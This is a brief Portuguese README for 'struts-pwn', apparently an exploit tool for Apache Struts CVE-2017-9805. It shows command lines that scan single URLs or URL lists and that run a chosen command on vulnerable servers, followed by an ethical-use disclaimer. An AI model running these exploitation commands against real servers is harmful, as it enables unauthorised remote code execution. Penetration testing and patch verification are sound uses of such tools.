
Um exploit para Apache Struts CVE-2017-9805
python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3'
python struts-pwn.py --list 'urls.txt'
python struts-pwn.py --exploit --url 'http://example.com/struts2-rest-showcase/orders/3' -c 'touch /tmp/struts-pwn'
python struts-pwn.py --exploit --list 'urls.txt' -c 'touch /tmp/struts-pwn'

Este projeto foi feito apenas para fins educacionais e de testes éticos. O uso do struts-pwn para atacar alvos sem consentimento mútuo prévio é ilegal. É responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este programa.
O projeto é licenciado sob a licença MIT.
Mazin Ahmed